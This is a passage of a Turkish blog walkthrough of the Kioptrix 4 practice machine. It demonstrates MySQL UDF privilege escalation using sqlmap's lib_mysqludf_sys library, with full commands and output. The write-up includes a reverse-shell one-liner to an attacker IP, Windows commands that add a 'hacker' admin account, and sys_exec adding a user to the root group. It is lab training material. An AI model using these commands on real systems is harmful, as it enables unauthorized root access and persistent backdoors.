Mysql'e ba\u011flanmak istiyorum \u00e7\u00fcnk\u00fc udf'ler ile ki bunun ne anlama geldi\u011fini bilmiyorsan\u0131z ara\u015ft\u0131rman\u0131z\u0131 \u00f6neririm<\/a>, kendimde gelecek s\u00fcrede bununla ilgili ayr\u0131nt\u0131l\u0131 bir yaz\u0131 yazaca\u011f\u0131m. K\u0131saca e\u011fer root kullan\u0131c\u0131s\u0131 elimizdeyse i\u015fletim sistemi zerinde komut \u00e7al\u0131\u015ft\u0131rabildi\u011fimiz mysql fonksiyonlar\u0131 gibi \u00e7al\u0131\u015fan yap\u0131lar\u0131m\u0131z vard\u0131r. Bunlara udf denir. K\u00f6t\u00fcye kullanmak i\u00e7in a\u015fa\u011f\u0131adaki y\u00f6ntemler uygulan\u0131r.
\nwindows:<\/strong><\/p>\n
USE mysql;\nCREATE TABLE potato(line blob);\nINSERT INTO potato values(load_file('C:\/\/Users\/\/Bob\/\/Desktop\/\/lib_mysqludf_sys.dll'));\nSELECT * FROM mysql.potato INTO DUMPFILE 'c:\/\/windows\/\/system32\/\/lib_mysqludf_sys_32.dll';\nCREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';\nSELECT sys_exec("net user hacker Password123! \/add");\nSELECT sys_exec("net localgroup Administrators hacker \/add");<\/code><\/pre>\n
Linux:<\/strong><\/p>\n
mysql> use mysql;\nmysql> create table potato(line blob);\nmysql> insert into potato values(load_file('\/tmp\/lib_mysqludf_sys.so'));\nmysql> select * from potato into dumpfile '\/usr\/lib\/lib_mysqludf_sys.so';\nmysql> create function sys_exec returns integer soname 'lib_mysqludf_sys.so';\nmysql> select sys_exec('bash -i >& \/dev\/tcp\/192.168.1.99\/443 0>&1');<\/code><\/pre>\n
Evet \u015fimdi ba\u015flayal\u0131m. \u0130lk olarak bizim .so dosyas\u0131na ihtiyac\u0131m\u0131zvar. Bu dosya sqlmap i\u00e7erisinde bulunmaktad\u0131r. Kolayca kali \u00fczerinden elde edebiliriz.<\/p>\n
\u250c\u2500\u2500(root💀kali)-[\/home\/kali\/oscp\/kioptrix4]\n\u2514\u2500# locate sqlmap | grep udf | grep so | grep mysql\n\/usr\/share\/sqlmap\/data\/udf\/mysql\/linux\/32\/lib_mysqludf_sys.so_\n\/usr\/share\/sqlmap\/data\/udf\/mysql\/linux\/64\/lib_mysqludf_sys.so_\n<\/code><\/pre>\n
G\u00f6r\u00fcld\u00fc\u011f\u00fc \u00fczere .so_<\/strong> \u015feklinde dosya uzant\u0131lar\u0131m\u0131z var. Bu dosyalar sqlmap taraf\u0131ndan encode edilmi\u015ftir. bunlaro cloak.py dosyas\u0131 ile decode etemiz gerekecektir. Bu i\u015flem sonucunda hedef sunucuya dosyalar\u0131m\u0131z\u0131 kopyalayabiliriz.<\/p>\n
\u250c\u2500\u2500(root💀kali)-[\/home\/kali\/oscp\/kioptrix4]\n\u2514\u2500# locate sqlmap | grep cloak.py                                                                                                                                                                                                        1 \u2a2f\n\/usr\/share\/sqlmap\/extra\/cloak\/cloak.py\n\n\u250c\u2500\u2500(root💀kali)-[\/home\/kali\/oscp\/kioptrix4]\n\u2514\u2500# python3 \/usr\/share\/sqlmap\/extra\/cloak\/cloak.py \nUsage: \/usr\/share\/sqlmap\/extra\/cloak\/cloak.py [-d] -i <input file> [-o <output file>]\n\ncloak.py: error: Missing the input file, -h for help\n\n\u250c\u2500\u2500(root💀kali)-[\/home\/kali\/oscp\/kioptrix4]\n\u2514\u2500# python3 \/usr\/share\/sqlmap\/extra\/cloak\/cloak.py -d -i \/usr\/share\/sqlmap\/data\/udf\/mysql\/linux\/32\/lib_mysqludf_sys.so_ -o mysql2root.so   <\/code><\/pre>\n
Evet haz\u0131r\u0131z! \u015eimdi k\u0131s\u0131tl\u0131 shell'den kurtuldu\u011fumuz john kullan\u0131c\u0131s\u0131na ait shell ekran\u0131na gelelim ve \/tmp klas\u00f6r\u00fcne gidelim. Kendi  shell ekran\u0131m\u0131zda bir web sunucusu ba\u015flatal\u0131m ve mysql2root.so<\/strong> dosyas\u0131n\u0131 hedef sunucuya kopyalayal\u0131m.<\/p>\n
\u250c\u2500\u2500(root💀kali)-[\/home\/kali\/oscp\/kioptrix4]\n\u2514\u2500# python3 -m http.server                                                                                                              \nServing HTTP on 0.0.0.0 port 8000 (http:\/\/0.0.0.0:8000\/) ...\n<\/code><\/pre>\n
bash-3.2$ cd tmp\nbash-3.2$ ls\nbash-3.2$ cd \/tmp\nbash-3.2$ ls\nbash-3.2$ pwd\n\/tmp\nbash-3.2$ wget http:\/\/10.10.250.140:8000\/mysql2root.so\n--21:23:49--  http:\/\/10.10.250.140:8000\/mysql2root.so\n           => `mysql2root.so'\nConnecting to 10.10.250.140:8000... connected.\nHTTP request sent, awaiting response... 200 OK\nLength: 5,696 (5.6K) [application\/octet-stream]\n\n100%[=========================================================================>] 5,696         --.--K\/s             \n\n21:23:49 (853.71 MB\/s) - `mysql2root.so' saved [5696\/5696]\n\nbash-3.2$ ls\nmysql2root.so\n<\/code><\/pre>\n
Harika! Yolun sonuna geliyor gibiyiz. \u015eimdi mysql'e ba\u011flanal\u0131m.<\/p>\n
bash-3.2$ mysql -u root -p\nEnter password: \nWelcome to the MySQL monitor.  Commands end with ; or \\g.\nYour MySQL connection id is 19\nServer version: 5.0.51a-3ubuntu5.4 (Ubuntu)\n\nType 'help;' or '\\h' for help. Type '\\c' to clear the buffer.\n\nmysql> show databases;                 \n+--------------------+\n| Database           |\n+--------------------+\n| information_schema | \n| members            | \n| mysql              | \n+--------------------+\n3 rows in set (0.00 sec)\n\nmysql> use mysql;\nReading table information for completion of table and column names\nYou can turn off this feature to get a quicker startup with -A\n\nDatabase changed\nmysql>  create table potato(line blob);\nQuery OK, 0 rows affected (0.03 sec)\n\nmysql> insert into potato values(load_file('\/tmp\/mysql2root.so'));      \nQuery OK, 1 row affected (0.00 sec)\n\nmysql>  select * from potato into dumpfile '\/usr\/lib\/mysql2root.so';\nQuery OK, 1 row affected (0.11 sec)<\/code><\/pre>\n
G\u00f6rd\u00fc\u011f\u00fcn\u00fcz \u00fczere udf ile shell almaya \u00e7al\u0131\u015f\u0131yordum. Ancak sonras\u0131nda \u015f\u00f6yle garip bir \u015fey oldu.<\/p>\n
mysql> create function sys_exec  returns integer soname 'mysql2root.so';  \nERROR 1125 (HY000): Function 'sys_exec' already exists\nmysql>    \n<\/code><\/pre>\n
already exists<\/strong> mi? Nas\u0131l yani?<\/p>\n
mysql> show tables;\n+---------------------------+\n| Tables_in_mysql           |\n+---------------------------+\n| columns_priv              | \n| db                        | \n| func                      | \n| help_category             | \n| help_keyword              | \n| help_relation             | \n| help_topic                | \n| host                      | \n| potato                    | \n| proc                      | \n| procs_priv                | \n| tables_priv               | \n| time_zone                 | \n| time_zone_leap_second     | \n| time_zone_name            | \n| time_zone_transition      | \n| time_zone_transition_type | \n| user                      | \n+---------------------------+\n18 rows in set (0.00 sec)\n\nmysql> select * from func;\n+-----------------------+-----+---------------------+----------+\n| name                  | ret | dl                  | type     |\n+-----------------------+-----+---------------------+----------+\n| lib_mysqludf_sys_info |   0 | lib_mysqludf_sys.so | function | \n| sys_exec              |   0 | lib_mysqludf_sys.so | function | \n+-----------------------+-----+---------------------+----------+\n2 rows in set (0.01 sec)\n\nmysql> \n<\/code><\/pre>\n
Zaten y\u00fckl\u00fcym\u00fc\u015f. Peki. Kald\u0131\u011f\u0131m\u0131z yerden devam edelim...<\/p>\n
mysql>  select sys_exec('usermod -a -G root john');                    \nERROR 2006 (HY000): MySQL server has gone away\nNo connection. Trying to reconnect...\nConnection id:    1\nCurrent database: mysql\n\n+-------------------------------------+\n| sys_exec('usermod -a -G root john') |\n+-------------------------------------+\n| NULL                                | \n+-------------------------------------+\n1 row in set (0.09 sec)\n<\/code><\/pre>\n
john kullan\u0131c\u0131s\u0131n\u0131 root grubuna ekledik. Kontrol edelim.<\/p>\n
mysql> exit\nBye\nbash-3.2$ id\nuid=1001(john) gid=1001(john) groups=1001(john)\nbash-3.2$ cat \/etc\/group\ngroup   group-  \nbash-3.2$ cat \/etc\/group \nroot:x:0:john\ndaemon:x:1:\nbin:x:2:\nsys:x:3:\nadm:x:4:loneferret\ntty:x:5:\ndisk:x:6:\nlp:x:7:\nmail:x:8:\nnews:x:9:\nuucp:x:10:\nman:x:12:\nproxy:x:13:\nkmem:x:15:\ndialout:x:20:loneferret\nfax:x:21:\nvoice:x:22:\ncdrom:x:24:loneferret\nfloppy:x:25:loneferret\ntape:x:26:\nsudo:x:27:\naudio:x:29:loneferret\ndip:x:30:loneferret\nwww-data:x:33:\nbackup:x:34:\noperator:x:37:\nlist:x:38:\nirc:x:39:\nsrc:x:40:\ngnats:x:41:\nshadow:x:42:\nutmp:x:43:\nvideo:x:44:loneferret\nsasl:x:45:\nplugdev:x:46:loneferret\nstaff:x:50:\ngames:x:60:\nusers:x:100:\nnogroup:x:65534:\nlibuuid:x:101:\ndhcp:x:102:\nsyslog:x:103:\nklog:x:104:\nscanner:x:105:\nnvram:x:106:\nfuse:x:107:loneferret\nmysql:x:108:\ncrontab:x:109:\nmlocate:x:110:\nssh:x:111:\nsambashare:x:112:loneferret\nwinbindd_priv:x:113:\nloneferret:x:1000:\nlpadmin:x:114:loneferret\nadmin:x:115:loneferret\njohn:x:1001:\nrobert:x:1002:\n<\/code><\/pre>\n
Harika! Makine bitmi\u015ftir!<\/p>\n
bash-3.2$ cd \/root\nbash-3.2$ ls\ncongrats.txt  lshell-0.9.12\nbash-3.2$ cat congrats.txt \nCongratulations!\nYou've got root.\n\nThere is more then one way to get root on this system. Try and find them.\nI've only tested two (2) methods, but it doesn't mean there aren't more.\nAs always there's an easy way, and a not so easy way to pop this box.\nLook for other methods to get root privileges other than running an exploit.\n\nIt took a while to make this. For one it's not as easy as it may look, and\nalso work and family life are my priorities. Hobbies are low on my list.\nReally hope you enjoyed this one.\n\nIf you haven't already, check out the other VMs available on:\nwww.kioptrix.com\n\nThanks for playing,\nloneferret<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"
Makine Hakk\u0131nda Bilgiler A\u00e7\u0131klama: It\u2019s possible to remotely compromise the machine Stays within the target audience of this site Must be \u201crealistic\u201d (well kinda\u2026) Should…<\/p>\n
Devam\u0131n\u0131 okuKioptrix 4<\/span><\/a><\/div>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[498],"tags":[199,198],"class_list":["post-1136","post","type-post","status-publish","format-standard","hentry","category-walkthrough","tag-mysql","tag-udf","entry"],"_links":{"self":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1136","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/comments?post=1136"}],"version-history":[{"count":2,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1136\/revisions"}],"predecessor-version":[{"id":1138,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1136\/revisions\/1138"}],"wp:attachment":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/media?parent=1136"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/categories?post=1136"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/tags?post=1136"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}